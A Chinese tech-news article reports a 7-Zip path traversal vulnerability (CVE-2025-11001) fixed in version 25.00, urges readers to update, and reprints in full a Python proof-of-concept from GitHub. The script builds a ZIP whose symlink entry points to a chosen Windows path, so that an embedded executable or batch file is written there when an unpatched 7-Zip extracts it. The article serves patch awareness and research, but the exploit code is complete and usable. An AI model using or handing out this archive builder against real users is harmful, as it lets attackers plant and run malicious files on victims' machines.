研究人员公布开源压缩工具7-Zip路径遍历漏洞的PoC 相关攻击可能很快就会增多
研究人员公布7-Zip远程代码执行漏洞的PoC代码,该漏洞已在v25.00版本修复。由于7-Zip无自动更新功能,攻击可能迅速增加。用户应立即升级以避免风险。 2025-10-20 03:12:39 Author: www.landiannews.com(查看原文) 阅读量:7 收藏

#安全资讯 研究人员在 GitHub 公布 7-Zip 远程代码执行漏洞的 PoC 概念验证,相关攻击可能很快就会暴增,请立即更新到 7-Zip v25.00 + 版。此前 7-Zip 被爆出高危漏洞,不过漏洞已经在三个月前修复,迟迟没有公布漏洞细节是因为 7-Zip 不具备自动更新功能,提前公布可能会引发安全危机,现在 PoC 公布后攻击必然会大量增长,使用该软件的用户务必立即升级。查看全文:https://ourl.co/110946

早前研究人员公布开源压缩工具 7-Zip 的路径遍历漏洞 ,黑客借助该漏洞可以构造特制的恶意文件诱导用户使用 7-Zip 打开,从而触发漏洞并实现远程代码执行。

这个漏洞早在三个月前发布的 7-Zip v25.00 版中修复,研究人员迟迟没有公布漏洞是因为 7-Zip 不具备自动更新功能,因此漏洞若是提前公布且大量用户未更新的情况下,可能会造成严重的安全威胁。

研究人员公布开源压缩工具7-Zip路径遍历漏洞的PoC 相关攻击可能很快就会增多

不过现在已经过去三个月,漏洞被公布的同时,也已经有研究人员在 GitHub 上公布该漏洞的 PoC 概念验证,也就是借助这个概念验证代码可以利用漏洞发起攻击。

因此如果你使用 7-Zip 那么请务必升级到最新版本,按照行业惯例,一旦 PoC 公布那么很快利用漏洞发起的攻击将会呈指数级增长,尤其是 7-Zip 这种不带自动更新的软件,黑客利用率可能还会显著高于其他软件。

当然对于有兴趣的安全研究人员或其他从业人员,也可以通过 PoC 代码来进行测试,学习此类漏洞的利用方法以便未来能够在其他软件审计中带来帮助。

7-Zip v25.00下载地址:https://www.7-zip.org/download.html

概念验证代码:

import argparse
import os
import time
import zipfile
def add_dir(z, arcname):
if not arcname.endswith('/'):
arcname += '/'
zi = zipfile.ZipInfo(arcname)
zi.date_time = time.localtime(time.time())[:6]
zi.create_system = 3
zi.external_attr = (0o040755 << 16) | 0x10
zi.compress_type = zipfile.ZIP_STORED
z.writestr(zi, b'')
def add_symlink(z, arcname, target):
zi = zipfile.ZipInfo(arcname)
zi.date_time = time.localtime(time.time())[:6]
zi.create_system = 3
zi.external_attr = (0o120777 << 16)
zi.compress_type = zipfile.ZIP_STORED
z.writestr(zi, target.encode('utf-8'))
def add_file_from_disk(z, arcname, src_path):
with open(src_path, 'rb') as f:
payload = f.read()
zi = zipfile.ZipInfo(arcname)
zi.date_time = time.localtime(time.time())[:6]
zi.create_system = 3
zi.external_attr = (0o100644 << 16)
zi.compress_type = zipfile.ZIP_STORED
z.writestr(zi, payload)
def main():
parser = argparse.ArgumentParser(
description="Crafts a zip that exploits CVE-2025-11001."
)
parser.add_argument(
"--zip-out", "-o",
required=True,
help="Path to the output ZIP file."
)
parser.add_argument(
"--symlink-target", "-t",
required=True,
help="Destination path the symlink points to - specify a \"C:\" path"
)
parser.add_argument(
"--data-file", "-f",
required=True,
help="Path to the local file to embed e.g an executable or bat script."
)
parser.add_argument(
"--dir-name",
default="data",
help="Top-level directory name inside the ZIP (default: data)."
)
parser.add_argument(
"--link-name",
default="link_in",
help="Symlink entry name under the top directory (default: link_in)."
)
args = parser.parse_args()
top_dir = args.dir_name.rstrip("/")
link_entry = f"{top_dir}/{args.link_name}"
embedded_name = os.path.basename(args.data_file)
file_entry = f"{link_entry}/{embedded_name}"
with zipfile.ZipFile(args.zip_out, "w") as z:
add_dir(z, top_dir)
add_symlink(z, link_entry, args.symlink_target)
add_file_from_disk(z, file_entry, args.data_file)
print(f"Wrote {args.zip_out}")
if __name__ == "__main__":
main()

via GitHub

山外的鸭子哥

山外的鸭子哥

蓝点网站长,如果发现本文存在错误或错别字,欢迎在评论区留言,收到消息后我将及时修改。其他事宜请点击本站任意页面底部的「与我们联系」获取邮箱。

2.44W783.50M1.65W10.40M¥30


文章来源: https://www.landiannews.com/archives/110946.html
如有侵权请联系:admin#unsafe.sh